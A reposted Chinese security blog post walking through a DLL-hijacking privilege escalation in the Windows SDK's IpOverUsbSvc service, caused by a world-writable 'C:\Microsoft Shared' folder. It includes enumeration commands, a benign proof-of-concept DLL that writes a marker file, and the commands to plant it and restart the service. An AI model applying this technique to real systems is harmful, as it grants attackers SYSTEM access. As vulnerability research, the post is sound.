文章总结: 本文详述了WindowsSDK中IpOverUsbSvc服务的本地提权挖掘。该服务以SYSTEM权限运行,但其所在目录因ACL配置不当允许普通用户完全控制。利用ProcessMonitor监控缺失的DLL,攻击者可植入恶意文件并在服务重启后获取SYSTEM权限。该案例展示了不安全目录权限导致DLL劫持的完整利用过程。 综合评分: 81 文章分类: 漏洞分析,漏洞POC,渗透测试,实战经验,终端安全
Microsoft Windows SDK 权限提升挖掘过程?
原创
秋风
秋风的安全之路
2025年12月26日 23:33 北京
呃一次撞洞经历吧 挖完发现这个组件被挖过了(CVE-2025-47962) 没事一直坚持我相信会有收获的…
首先枚举高权限用户
Get-WmiObject Win32_Service | Where-Object {$_.StartName -eq "LocalSystem"} | Select Name,PathName,State
发现多个以LocalSystem运行的服务
然后寻找user可写入的目录
比如
icacls "C:\Microsoft Shared"
过程中我注意到了IpOverUsbSvc
sc.exe qc IpOverUsbSvcSERVICE_NAME: IpOverUsbSvcTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTBINARY_PATH_NAME : "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsbSvc.exe"SERVICE_START_NAME : LocalSystem
以LocalSystem权限运行,可执行文件位于 C:\Microsoft Shared\ 目录,该目录普通用户有完全控制权限
然后做写入测试
echo "test" > "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\test.txt"type "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\test.txt"del "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\test.txt"
发现普通用户可以在SYSTEM服务目录写入文件
然后监控dll
使用Process Monitor设置过滤器:Process Name = IpOverUsbSvc.exeResult = NAME NOT FOUNDPath ends with .dll
进程架构确认
Get-Process -Id (服务PID) | Select-Object -ExpandProperty Modules
输出显示加载了wow64.dll,确认是32位进程,需要编译32位DLL
poc.c
#include <windows.h>BOOL WINAPI DllMain(HINSTANCE hDLL, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { HANDLE hFile = CreateFileA( "C:\\Windows\\Temp\\PWNED_SYSTEM.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) { char msg[] = "[+] IpOverUsbSvc DLL Hijack PoC\r\n" "[+] Code execution as SYSTEM achieved!\r\n" "[+] Vuln: Insecure ACL on C:\\Microsoft Shared\\\r\n" "[+] BUILTIN\\Users have Full Control (F)\r\n"; DWORD written; WriteFile(hFile, msg, sizeof(msg) - 1, &written, NULL); CloseHandle(hFile); } } return TRUE;}
i686-w64-mingw32-gcc -shared -o CRYPTBASE.dll poc.c -lkernel32
在user权限cmd执行
copy CRYPTBASE.dll "C:\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\CRYPTBASE.dll"
管理员cmd模拟触发
net stop IpOverUsbSvcnet start IpOverUsbSvc
PWNED!!!(呃我究竟在高兴些什么)
原因很简单
Windows SDK安装时创建的 C:\Microsoft Shared\ 目录权限配置不当:
C:\Microsoft Shared BUILTIN\Users:(I)(OI)(CI)(F) NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(M)
所有本地用户对该目录及其子目录拥有完全控制权限,而IpOverUsbSvc服务以SYSTEM权限从该目录运行
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:秋风的安全之路 秋风《Microsoft Windows SDK 权限提升挖掘过程?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论